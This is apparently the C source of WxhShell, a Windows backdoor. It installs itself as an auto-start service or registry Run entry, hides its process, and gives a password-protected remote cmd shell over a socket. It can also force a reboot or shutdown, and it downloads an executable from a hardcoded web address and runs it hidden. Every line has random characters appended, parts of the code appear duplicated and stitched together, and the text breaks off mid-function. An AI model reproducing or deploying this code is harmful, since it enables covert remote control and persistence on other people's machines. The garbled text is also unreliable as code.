    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U R>zL3  
    if(Boot(SHUTDOWN)) XXBN Nr_CK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^$}9 Enj+Y  
    else { 6sJN@dFA  
    closesocket(wsh); : 9wW*Ix  
    ExitThread(0); oi^2Pvauh  
    } 33z)F  
    break; ^1sX22k  
    } $vlq]6V8  
  // 获取shell ;P3sDN  
  case 's': { jCa%(2~iQ7  
    CmdShell(wsh); rXPq'k'h#-  
    closesocket(wsh); w7 @fiH{  
    ExitThread(0); 3(0k!o0 "  
    break; (A|Gb2X  
  } "7mY s)=  
  // 退出 ~za=yZo7(  
  case 'x': { ?mU 3foa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *$~H=4t  
    CloseIt(wsh); N}HQvlLkF9  
    break; $w4%JBZr  
    } Cp` [0v~0  
  // 离开 Vf9PHHH|   
  case 'q': { ,\laqH\ 1%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \ 'G%%%;4  
    closesocket(wsh); N3nFE:`u]  
    WSACleanup(); mrX 2w  
    exit(1); Cgq/#2BM  
    break; C8 9c2  
        } 1BO$xq  
  } ?^t"tY  
  } t{Ck"4Cg  
PeT _Ty  
  // 提示信息 :iqFC >D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4=!SG4~o  
} yr?*{;  
  } a+sHW<QeS  
 AV{3f`  
  return; 7N9~nEU  
} #-*7<wN   
sLrSi  
// shell模块句柄 o!!";q%DX  
int CmdShell(SOCKET sock) *5?a% p  
{ RZ 4xR  
STARTUPINFO si; {G$I|<MD2T  
ZeroMemory(&si,sizeof(si)); zO8`xrN!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mO<sw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g S xK9P  
PROCESS_INFORMATION ProcessInfo; booth}M  
char cmdline[]="cmd"; 41Bp^R}^/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s3@sX_2  
  return 0; t>.1,'zb  
} H<T9$7Yr%r  
{C3AxK0  
// 自身启动模式 q/w<>u  
int StartFromService(void) Ja<pvb  
{ tl9=u-D13@  
typedef struct Mwp[?#1j  
{ NsDJ q{  
  DWORD ExitStatus; ,S[,F0"%  
  DWORD PebBaseAddress; j}$dYbf$  
  DWORD AffinityMask; WwG +Xa  
  DWORD BasePriority; jR-DH]@y  
  ULONG UniqueProcessId; &U q++f6  
  ULONG InheritedFromUniqueProcessId; o_; pEe  
}   PROCESS_BASIC_INFORMATION; J%}9"Q5  
<q|IP_  
PROCNTQSIP NtQueryInformationProcess; Q M7z .  
-wv5c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7.g)_W{7}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X{KWBk.1  
gSLwpIK%  
  HANDLE             hProcess; 5dOA^P@`,M  
  PROCESS_BASIC_INFORMATION pbi; %.^8&4$+  
=qPk'n9i8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q-;ltJ  
  if(NULL == hInst ) return 0; N5 ITb0Tv  
}%LwaRT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (}E-+:vFU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uX_A4ht*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); . +_IpygQ  
G tI]6t  
  if (!NtQueryInformationProcess) return 0; j$r.&,m  
B198_T!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +bK[3KG4F5  
  if(!hProcess) return 0; f5D.wSY  
[)UF@Sq4+Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 18JhC*in  
0_b7*\xc  
  CloseHandle(hProcess); ;4. D%  
<K4`GT"n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rx`G* k{X  
if(hProcess==NULL) return 0; L-ans2?  
6ExUNp @U>  
HMODULE hMod; a,X=!oJ  
char procName[255]; @?ntMh6  
unsigned long cbNeeded; E-h`lDoJ  
lsmzy_gV7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R:=C  
+SCUS]  
  CloseHandle(hProcess); Kp,}7%hDw!  
H{|a+  
if(strstr(procName,"services")) return 1; // 以服务启动 ;-84cpfu  
N,v4SIC@  
  return 0; // 注册表启动 *;A I0  
} x" 21 Jh  
~:7AHK2  
// 主模块 PRm Z 3  
int StartWxhshell(LPSTR lpCmdLine) =uKGh`^[  
{ AMqu}G  
  SOCKET wsl; : sIZ+3  
BOOL val=TRUE; G#V5E)Dx  
  int port=0; w`XwW#!}@$  
  struct sockaddr_in door; Yo0%5 noz  
( 8+_~_  
  if(wscfg.ws_autoins) Install(); 1lRqjnzve&  
JtYc'%OF  
port=atoi(lpCmdLine); dIv/.x/V  
6GzmzhX4  
if(port<=0) port=wscfg.ws_port; E\!:MCL  
%8iA0t+  
  WSADATA data; M (dVY/ i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I\ V33Nd  
Sd'Meebu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rXo2MX@u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }%k,PYe/  
  door.sin_family = AF_INET; :@g@jcbYq`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #$V`%2>  
  door.sin_port = htons(port); =QEg~sD^)s  
rC]jz$sle  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]*a)'k_@[  
closesocket(wsl); J{72%S  
return 1; .K^'Q|?  
} @ [_I|  
Db({k,P'Y  
  if(listen(wsl,2) == INVALID_SOCKET) { GEP YSp  
closesocket(wsl); 'N,3]Soi  
return 1; F=   
} |E @Gsw  
  Wxhshell(wsl); JA7HO |  
  WSACleanup(); 6 .DJR Y  
g-xbb&]  
return 0; vj0`[X   
j}8IT  
} /1++ 8=  
X?$Eb  
// 以NT服务方式启动 0 O4'Ts ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9m 56oT'U{  
{ K/oPfD]  
DWORD   status = 0; 'T[=Uuj"  
  DWORD   specificError = 0xfffffff; q|2{W.P5qi  
;}IF'ANA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~Av]LW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SqY;2:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jM J[6qj  
  serviceStatus.dwWin32ExitCode     = 0; M0o=bYI  
  serviceStatus.dwServiceSpecificExitCode = 0; Y%qhgzz?/  
  serviceStatus.dwCheckPoint       = 0; sBp|Lo  
  serviceStatus.dwWaitHint       = 0; pfg"6P  
_J&u{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rPK?p J  
  if (hServiceStatusHandle==0) return; GN{\ccej  
)<4o"R:*  
status = GetLastError(); W"Dj+/uS  
  if (status!=NO_ERROR) $V?zJ:a>L  
{ T,(IdVlJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rz`<E97-  
    serviceStatus.dwCheckPoint       = 0; 93fKv  
    serviceStatus.dwWaitHint       = 0; `u:U{m  
    serviceStatus.dwWin32ExitCode     = status; #c4LdZu9  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;3\F b3d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M4M 4*o  
    return; (d993~|h  
  } tZ>>aiI3  
u]E%R&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @&+h3dV.V  
  serviceStatus.dwCheckPoint       = 0; ?t)y/@eG  
  serviceStatus.dwWaitHint       = 0; 7|zt'.56[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `]]gD EPG{  
} ]Vjn7P`~ N  
#f.@XIt'  
// 处理NT服务事件,比如:启动、停止 nL^6{I~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f&`v-kiAn=  
{ )Tngtt D  
switch(fdwControl)  9 N=KU  
{ [gzU / :  
case SERVICE_CONTROL_STOP: UE7 P =B  
  serviceStatus.dwWin32ExitCode = 0; D]y6*Ha  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; } 3:TPW5S  
  serviceStatus.dwCheckPoint   = 0; @babgP,  
  serviceStatus.dwWaitHint     = 0; 9 )B>|#\  
  { EN.yU!N.4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lGG1d  
  } w,8 M  
  return; ] >ipC,v  
case SERVICE_CONTROL_PAUSE: Djf2ir'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i )3Y\ u  
  break; i[3$Wi$  
case SERVICE_CONTROL_CONTINUE: #2yOqUO\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nIph[Vs-Z  
  break; ygpC1nN  
case SERVICE_CONTROL_INTERROGATE: d;lp^K M  
  break; MBcOIy[&A  
}; XP2=x_"y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2!68W X  
} 1I3u~J3]/  
l0D.7>aj  
// 标准应用程序主函数 a0)+=*$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1b3Lan_2  
{  4EB$e?  
eV9:AN}K=  
// 获取操作系统版本 K 1:F{*  
OsIsNt=GetOsVer(); Cy6[p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6El%T]^  
=q xcM+OX1  
  // 从命令行安装 e7#=F6  
  if(strpbrk(lpCmdLine,"iI")) Install(); qx0o,oZN!  
V<4)'UI?k9  
  // 下载执行文件 fbuop&FN+q  
if(wscfg.ws_downexe) { u6r-{[W}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fY%Sw7ql<  
  WinExec(wscfg.ws_filenam,SW_HIDE); NBMY1Xgj  
} p6=#LwL'  
Arp4$h  
if(!OsIsNt) { R<UjhCvx.  
// 如果时win9x,隐藏进程并且设置为注册表启动 aE{b65'Dt  
HideProc(); "6KOql3  
StartWxhshell(lpCmdLine); Cc Ni8Wg_  
} sef!hS06  
else $Uewv +  
  if(StartFromService()) HwST^\Ao  
  // 以服务方式启动 g1zqh,  
  StartServiceCtrlDispatcher(DispatchTable); D@ =.4z  
else vMRKs#&8  
  // 普通方式启动 2DV{gF  
  StartWxhshell(lpCmdLine); 3'/wRKl  
) ]~HjA;  
return 0; %< j=&  
} _%1.D0<~-E  
38'H-]8q"  
APc@1="#J  
eazP'(rc  
=========================================== ,+'f unH  
ZN4&:9M  
_cGiuxf #  
_l8oB)  
IL%&*B  
 W2^eE9  
" aO<d`DTyJ  
nAts.pVy"  
#include <stdio.h> V|a 59 [y?  
#include <string.h> ^E:;8h4$9  
#include <windows.h> .!6ufaf$  
#include <winsock2.h> T3?kabbF  
#include <winsvc.h> ;F0A\5I  
#include <urlmon.h> -5>g 0o2  
T@vVff  
#pragma comment (lib, "Ws2_32.lib") uo%O\} #u9  
#pragma comment (lib, "urlmon.lib") \pPq ]k  
T2(+HI2  
#define MAX_USER   100 // 最大客户端连接数 ]iNSa{G  
#define BUF_SOCK   200 // sock buffer KPO((G0&  
#define KEY_BUFF   255 // 输入 buffer lJYv2EZ  
\uPT-M*  
#define REBOOT     0   // 重启 6|jE3rHw  
#define SHUTDOWN   1   // 关机 3 t_5Xacj  
QiRzA4-zq  
#define DEF_PORT   5000 // 监听端口 9QX{b+}"e  
D 3HB`{  
#define REG_LEN     16   // 注册表键长度 >=Rb:#UM  
#define SVC_LEN     80   // NT服务名长度 ljf9L:L  
]g)%yuox9F  
// 从dll定义API ovfw_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \@F{Q-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X|q0m3jt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zYs? w=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GYs4#40  
4%6Q+LS']Q  
// wxhshell配置信息 1b D c ct  
struct WSCFG { ]D]K_`!K  
  int ws_port;         // 监听端口 eb8_guZ  
  char ws_passstr[REG_LEN]; // 口令 Q@j:b]Y9  
  int ws_autoins;       // 安装标记, 1=yes 0=no q{5Vq_s\  
  char ws_regname[REG_LEN]; // 注册表键名  OB^  
  char ws_svcname[REG_LEN]; // 服务名 &a(w0<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Anm5Cvt;i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ux<h` s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LaIif_fie^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ){(cRB$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LpiLk| 2i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AP~!YwLW  
pKJ[e@E^  
}; SwL\=nq+~  
(J;?eeP  
// default Wxhshell configuration 50Jr(OeU<  
struct WSCFG wscfg={DEF_PORT, ujSzm=_P  
    "xuhuanlingzhe",  _HL3XT  
    1, [&4y@  
    "Wxhshell", He@= bLLa  
    "Wxhshell", ZEMo`O  
            "WxhShell Service", ?@,:\ ,G  
    "Wrsky Windows CmdShell Service", z&:[.B   
    "Please Input Your Password: ", u,]yd*  
  1, df)1} /*L  
  "http://www.wrsky.com/wxhshell.exe", g bh:Y}_FU  
  "Wxhshell.exe" EtcamI*`  
    }; Xg)yz~Ug  
axl?t|~I  
// 消息定义模块 +Q9HsfX/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2U+&F'&Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0jS/U|0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7/yd@#$X  
char *msg_ws_ext="\n\rExit."; lu}[XN  
char *msg_ws_end="\n\rQuit."; LH8?0 N[  
char *msg_ws_boot="\n\rReboot..."; WT)")0)[  
char *msg_ws_poff="\n\rShutdown..."; >fdN`W }M  
char *msg_ws_down="\n\rSave to "; O*PHo_&G  
) jvkwC  
char *msg_ws_err="\n\rErr!"; RAxz+1JT  
char *msg_ws_ok="\n\rOK!"; 7wnzef?)  
`sXx,sV?B  
char ExeFile[MAX_PATH]; 0T5>i 0/  
int nUser = 0; 2n=;"33%a  
HANDLE handles[MAX_USER]; {V&7JZl,/  
int OsIsNt; c%dy$mkqgK  
b(VU{cf2d  
SERVICE_STATUS       serviceStatus; ~_&.A*Jh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  %!S  
P&YaJUq.u  
// 函数声明 -a[{cu{  
int Install(void); >tzXbmFp;  
int Uninstall(void); _7;^od=C  
int DownloadFile(char *sURL, SOCKET wsh); #+G2ZJxL|  
int Boot(int flag); P:TpB6.=q  
void HideProc(void); ,+RO 5n  
int GetOsVer(void); 1L|(:m+  
int Wxhshell(SOCKET wsl); ? `KOW  
void TalkWithClient(void *cs); w;(gi  
int CmdShell(SOCKET sock); {|%O)fr,  
int StartFromService(void); [:'n+D=T3M  
int StartWxhshell(LPSTR lpCmdLine); C"{on%  
(D{}1sZBQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #.)>geLC>9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l.juys8s  
85 hYYB0v  
// 数据结构和表定义 jJvNN -^  
SERVICE_TABLE_ENTRY DispatchTable[] = r;C\eN  
{ x(`$D  
{wscfg.ws_svcname, NTServiceMain}, AIyv;}5  
{NULL, NULL} E-D5iiF  
}; Uk9g^\H<D  
GP$ Y4*y/  
// 自我安装 >N J$ac  
int Install(void) Wd AGZUp  
{ %np#Bv-L  
  char svExeFile[MAX_PATH]; "Zk6B"o)  
  HKEY key; av?BpN"l  
  strcpy(svExeFile,ExeFile); "BRE0Ir:  
~'MWtDe:Z8  
// 如果是win9x系统,修改注册表设为自启动 .B13)$C  
if(!OsIsNt) { G#: !wI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N 3c*S"1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }hYE6~pr  
  RegCloseKey(key); G,-OH-M!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%;)CV G"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F21[r!3  
  RegCloseKey(key); ];;w/$zke  
  return 0; `1@[uWl  
    } W<VHv"?V  
  } BT3O_X`u  
} @E2nF|N  
else { ntV >m*^  
D 8Rmxq!  
// 如果是NT以上系统,安装为系统服务 PNgMLQI6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _vH!0@QFU  
if (schSCManager!=0) .M2&ad :  
{ %Be[DLtE"  
  SC_HANDLE schService = CreateService 6sl<Z=E#  
  ( VWy:U#;+8  
  schSCManager, lg >AWTW[  
  wscfg.ws_svcname, lM*O+k  
  wscfg.ws_svcdisp, `uA&w}(G  
  SERVICE_ALL_ACCESS, Nh9!lBm*]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]ECZU   
  SERVICE_AUTO_START, e0HP~&BRs  
  SERVICE_ERROR_NORMAL, !d .>r 7w  
  svExeFile, !^fR8Tp9  
  NULL, sVd_O[  
  NULL, z|*6fFE   
  NULL, L0b] ^_ tI  
  NULL, }27Vh0v  
  NULL %E"/]!}3  
  ); "NH+qQhs  
  if (schService!=0) 7RE6y(V1  
  { PV6 *-[  
  CloseServiceHandle(schService); J.2]km  
  CloseServiceHandle(schSCManager); ZHlin#"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7 afA'.=  
  strcat(svExeFile,wscfg.ws_svcname); (B,t 1+%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *u'`XRJU/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wmxw!   
  RegCloseKey(key); $S8bp3)  
  return 0; OIty ]c  
    } K)UOx#xe1  
  } "!6~*!]c  
  CloseServiceHandle(schSCManager); Y0O<]2yVx  
} y~c[sW   
} ptyDv  
H)T# R?  
return 1; 9~'Ip7X,!  
} !9LAXM  
Y~hd<8 ~  
// 自我卸载 -^Km}9g  
int Uninstall(void) `AHNk7 t=  
{ Z?c=t-yqp  
  HKEY key; X1[R*a/p  
JS?l?~  
if(!OsIsNt) { [pgkY!R?)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OXX(OCG>  
  RegDeleteValue(key,wscfg.ws_regname); 7TPLVa=hO  
  RegCloseKey(key); a~>0JmM+N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bj($_2M%+  
  RegDeleteValue(key,wscfg.ws_regname); A|_%'8  
  RegCloseKey(key); [I<'E LX  
  return 0; MQH8Q$5D  
  } O\F^@;] F6  
} 0*IY%=i  
} :'rZZeb'  
else { bA^: p3  
[-Tt11  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'a/6]%QFd!  
if (schSCManager!=0) H&=4y) /.  
{ h9w^7MbO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); < Gy!i/  
  if (schService!=0) o p5^9`"  
  { DD6`k*RIk.  
  if(DeleteService(schService)!=0) { us,,W(q  
  CloseServiceHandle(schService); 9 roth  
  CloseServiceHandle(schSCManager); j X!ftm2  
  return 0; 7U )qC}(  
  } hPi :31-0  
  CloseServiceHandle(schService); 0R5^p  
  } 2td|8vDA  
  CloseServiceHandle(schSCManager); -kri3?Y,  
} X.AWs=:-  
} 'j<:FUDJ  
[(P[qEY  
return 1; <\9Ijuq}k  
} <_{4-Q>S3#  
fRa-bqQ  
// 从指定url下载文件 RQ)!KlY  
int DownloadFile(char *sURL, SOCKET wsh) IfmIX+t?  
{ 9Bvn>+_K  
  HRESULT hr; ? ]:EmP  
char seps[]= "/"; g yH7((#i  
char *token; sEJ;t0.LX  
char *file; - Zoo)  
char myURL[MAX_PATH]; y7IbE   
char myFILE[MAX_PATH]; {p*hNi)0  
nh&J3b}B!  
strcpy(myURL,sURL); {L-aXe{  
  token=strtok(myURL,seps); Gp3nR<+  
  while(token!=NULL) `ToRkk&&>{  
  { k1Mxsd  
    file=token; GgpQ]rw  
  token=strtok(NULL,seps); #b"5L2D`y'  
  } qqt.nrQ^  
NZ+?Ydr8k  
GetCurrentDirectory(MAX_PATH,myFILE); zTBi{KrZ  
strcat(myFILE, "\\"); wI]R+.  
strcat(myFILE, file); k E#_Pc  
  send(wsh,myFILE,strlen(myFILE),0); L[D/#0qp  
send(wsh,"...",3,0); Rr;LV<q+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vD)A)  
  if(hr==S_OK) T.w}6? 2  
return 0; EBDC'^  
else $7gB&T.x  
return 1; vLK\X$4  
;]oXEq`  
} q%kj[ZOY$]  
7MuK/q.  
// 系统电源模块 o!l3.5m2d  
int Boot(int flag) Xm^h5jAr  
{ _Dcc<-.  
  HANDLE hToken; sg6w7fp>  
  TOKEN_PRIVILEGES tkp; G_,t\  
E_![`9i  
  if(OsIsNt) { %L\{kUam  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lgjoF_D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o S:vTr+$  
    tkp.PrivilegeCount = 1; hA1gkEM2o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {7![3`%7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?<yq 2`\4O  
if(flag==REBOOT) { AR+\uD=\I-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s?G'l=CcKu  
  return 0; jQ_|z@OV  
} 5nxS+`Pn.)  
else { N9JgV,`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xx y Bg!R  
  return 0; 8NAWA3^B  
} XC/]u%n8](  
  } X\3 ,NR,  
  else { |!xfIR>=F  
if(flag==REBOOT) { [`zbf_RyO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =S[FJaIu7  
  return 0; 6Er0o{iI  
} e2-70UvW^  
else { (9YYv+GGd*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |<$<L`xoe  
  return 0; O2'bNR  
} B )1<`nJA  
} msqxPC^I  
A"bSNHCKF  
return 1; ]2xx+P#Y  
} 5;K-,"UQ  
74}eF)(me  
// win9x进程隐藏模块 8%2rgA  
void HideProc(void) I"F .%re  
{ ><#2O  
mS)|6=Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J^g,jBk  
  if ( hKernel != NULL ) 0,~6TV<K  
  { GOZQ5m -  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q(jkit~`A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vU8FHVytV  
    FreeLibrary(hKernel); [N+ m5{tT  
  } 6L:tr LuQ  
}4\!7]FVYX  
return; \%-E"[!  
} b5n]Gp  
fZw9zqg  
// 获取操作系统版本 z3vsz  
int GetOsVer(void) MKVfy:g%So  
{ )4'x7Qg/  
  OSVERSIONINFO winfo; ~3'OiIw1@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dxkRk#mf:  
  GetVersionEx(&winfo); Hlt8al3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4(Cd  
  return 1; B \_d5WJ<  
  else Hn#GS9d_?  
  return 0; "J8;4p  
} ;Txv -lfS  
u6iU[5  
// 客户端句柄模块 56bud3CVs  
int Wxhshell(SOCKET wsl) nI`f_sp  
{ wZo.ynXT  
  SOCKET wsh; ~<2 IIR$H  
  struct sockaddr_in client; hr_9;,EPh  
  DWORD myID; OD?y  
L= :d!UF  
  while(nUser<MAX_USER) +&7[lsD*  
{ l\T!)Ql  
  int nSize=sizeof(client); I+Ncmg )>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &*G5J7%w  
  if(wsh==INVALID_SOCKET) return 1; J8u{K.( *7  
B.}_],  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bVa+kYE  
if(handles[nUser]==0) *]}CSZ[>  
  closesocket(wsh); {uaZ<4N.  
else 4GU/V\e|  
  nUser++; eq@am(#&kY  
  } W.#}q K" q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G%P>A g  
Hhe{ +W@~  
  return 0; yyY~ *Le  
} `2x H7a-  
u0bfX,e2U  
// 关闭 socket ?Do^stq'4  
void CloseIt(SOCKET wsh) c-4m8Kg?L  
{ b!'l\~`{i  
closesocket(wsh); N|!MO{sB  
nUser--; biK)&6|`sa  
ExitThread(0); ;ZQ- uz  
} D00G1:Ft(T  
^wx%CdFm'P  
// 客户端请求句柄 ~ON1Zw[+  
void TalkWithClient(void *cs) [x2JFS#4  
{ ^CZCZ,v  
d5@X#3Hd  
  SOCKET wsh=(SOCKET)cs; ADv^eJJ|  
  char pwd[SVC_LEN]; DS#c m3  
  char cmd[KEY_BUFF]; a|DsHZ^6^  
char chr[1]; Q^z=w![z  
int i,j; mR{CVU  
IVI~1~  
  while (nUser < MAX_USER) { eu# ,WwlG  
Zg -]sp]  
if(wscfg.ws_passstr) { &8[ZN$Xe"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [>W"R1/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KQG-2oW  
  //ZeroMemory(pwd,KEY_BUFF); 7d&DrI@~  
      i=0; 1R0ffP]  
  while(i<SVC_LEN) { r\$6'+Si  
_iG2J&1'L  
  // 设置超时 tigT@!`$Y  
  fd_set FdRead; J>rka]*  
  struct timeval TimeOut; /y}"M  
  FD_ZERO(&FdRead); "+=Pp  
  FD_SET(wsh,&FdRead); L'zE<3O'3  
  TimeOut.tv_sec=8; uije#cj#O  
  TimeOut.tv_usec=0; ,:D=gQ@`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a}:A,t<6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v8ba~  
2 ;JQX!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vy-28icZ`  
  pwd=chr[0]; '3A+"k-}mh  
  if(chr[0]==0xd || chr[0]==0xa) { R/^@cA  
  pwd=0; e]lJqC  
  break; ' |&>/dyq  
  } "-w ^D!C  
  i++; rRB~=J"  
    } Og,Y)a;=  
95=g Y  
  // 如果是非法用户,关闭 socket kOw=c Gt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J,f/fPaf7  
} z{ptm7  
t)YUPDQ@J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <f N; xIB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ev9; Ld  
"\e:h| .G  
while(1) { $}t=RW  
Pm4e8b  
  ZeroMemory(cmd,KEY_BUFF); 3sH\1)Zz  
g>so R&*  
      // 自动支持客户端 telnet标准   Vy__b=ti?  
  j=0; !; IJ   
  while(j<KEY_BUFF) { 9A~>`.y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QV7,G9  
  cmd[j]=chr[0]; cv}aS_`f  
  if(chr[0]==0xa || chr[0]==0xd) { <OTWT`G2  
  cmd[j]=0; nqT>qS[Z  
  break; -<_QF82  
  } 6?N4l ]l  
  j++; O|QUNr9  
    } >R!"P[*  
l^\(ss0~  
  // 下载文件 U4BqO :sd  
  if(strstr(cmd,"http://")) { bmu6@jT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~g6"'Cya?k  
  if(DownloadFile(cmd,wsh)) e}c&LDgU  
